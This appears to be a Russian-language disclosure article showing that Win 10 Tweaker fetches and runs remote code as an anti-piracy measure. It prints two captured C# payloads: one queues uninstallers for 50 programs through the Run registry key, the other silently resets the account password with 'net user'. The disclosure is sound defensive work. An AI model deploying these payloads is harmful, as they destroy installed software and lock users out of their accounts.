
Для неподготовленных юзеров, которые сталкиваются с Windows, настройки ОС иногда становятся настоящим темным лесом. Эту достаточно узкую нишу охватывают разработчики всевозможных твикеров, один из который в своих подходах к защите своей программы пошел самым радикальным способом. Сегодня мы немножко препарируем один самых известных таких продуктов — Win 10 Tweaker и посмотрим, какой "сюрприз" спрятал внутри его создатель.
Решил оформить небольшой материал с доказательствами того, как с недавних пор (примерно с осени 2020 года) в Win 10 Tweaker в целях борьбы со взломом программы был интегрирован самый обычный бэкдор, в особых обстоятельствах получающий зловредный код с ресурса https://win10tweaker.com/PrivilegeUser.php?key=Universal.
Не будем обсуждать личность автора и его отношение к пользователям, а также то, что он творит на своем форуме, а поговорим о том, что нам поведал сниффер трафика Win 10 Tweaker, у которого на момент написания статьи, судя по счётчику на сайте, больше 1 400 000 скачиваний.
-
Скачиваем с сайта последнюю версию программы. Сейчас скачивается версия 17.2, SHA-256: 06DB5801D37895C75B7D60FA5971827DA80CC275D9E78E5986A120C003021A0D;
-
Выяснилось, что, чтобы вызвать скачивания удаленного кода, надо просто создать в %LOCALAPPDATA% папку Turbo.net, а внутри — просто пустой файл System.Deps.dll;
-
Запускаем Win 10 Tweaker и принимаем правой кнопкой соглашение;
-
Хватит лишь открытия раздела "Системная информация", где можно получить сведения о характеристиках ПК;
-
Сразу с ресурса, указанного выше, через бэкдор в открытом виде скачивается и исполняется код, написанный на C#, который прописывает в реестре в раздел автозагрузки для всех пользователей ключи на удаление первых 50 установленных программ. При первом выходе/входе из учетной записи или перезагрузке эти программы запустят свои деинсталляторы.
using System;
using System.Collections.Generic;
using Microsoft.Win32;
using System.IO;
namespace N {
class C {
public void M() {
string path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\AppData\Local\Turbo.net";
if (Directory.Exists(path)) {
string[] files = Directory.GetFiles(path, "*.*", SearchOption.AllDirectories);
foreach(string file in files) {
if (file.Contains("System.Deps.dll")) {
List list = new List();
using(RegistryKey key = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall")) {
foreach(string k in key.GetSubKeyNames()) {
if (key.OpenSubKey(k).GetValue("UninstallString") != null) {
list.Add(key.OpenSubKey(k).GetValue("UninstallString").ToString());
}
}
}
for (int i = 0; i < 50; i++) {
RegistryKey key = Registry.LocalMachine.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run");
key.SetValue(i.ToString(), list[i]);
}
}
}
}
}
}
}
Разберем по-быстрому код.
-
Берется путь профиля и присобачивается к нему "\AppData\Local\Turbo.net";
-
Если имеется папка Turbo.net, то по маске *.* рекурсивно ищется файл System.Deps.dll;
-
Если такой на вашу беду находится, то получаем значения ключей UninstallString в разделе HKLMSOFTWAREMicrosoftWindowsCurrentVersionUninstall. В этом параметре хранится команда для деинсталляции программ. Собственно, именно эта команда запускается, когда вы удаляет в Windows любую программу, если ее деинсталлятор прописывается в системе.
-
Сохраняем полученные строки и записываем первые 50 команд на удаление в автозагрузку для всех пользователей. Отныне при первой перезагрузке запустят свои деинсталляторы те программы, у которых есть свойство UninstallString.
Сохраненная ссылка на Wayback Machine, если "чудотворным" образом ресурс будет недоступен. Кстати, тот же зловредный код расположен и на домене https://win10tweaker.ru/PrivilegeUser.php?key=Universal.
Скажите спасибо, что не в тихом режиме все удаляется, и окошки с уведомлением об удалении будут видны в любом случае.
Осенью же на этом ресурсе располагался другой код, устанавливающий пароль на учетную запись. Пароль, как нетрудно догадаться, глядя на код, был Rock5taR. То есть ресурс один, а зловредный код иногда да и меняется.
using System;
using System.Diagnostics;
using System.IO;
namespace N
{
class C
{
public void M()
{
string path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\AppData\Local\Turbo.net";
if (Directory.Exists(path))
{
string[] files = Directory.GetFiles(path, "*.*", SearchOption.AllDirectories);
foreach (string file in files)
{
if (file.Contains("System.Deps.dll"))
{
Process.Start(new ProcessStartInfo
{
FileName = "cmd",
Arguments = "/c net user " + """ + Environment.UserName + """ + " Rock5taR",
WindowStyle = ProcessWindowStyle.Hidden
});
}
}
}
}
}
}
Также автор заявляет о портативности программы, что на самом деле не так: чего только стоит создание неудаляемого ключа в реестре по пути HKCUSoftwareWin 10 Tweaker, так как программа меняет права доступа на этот раздел.
Видео с одним из вариантов, как удалить ключ.
Остается тайной, зачем автор в борьбе с пиратами, беря за программу в том числе и плату, интегрировал туда самый обычный бэкдор. И кто знает, что еще она в себе таит… Выводы, как всегда, делать только вам.
Автор: Sanctuary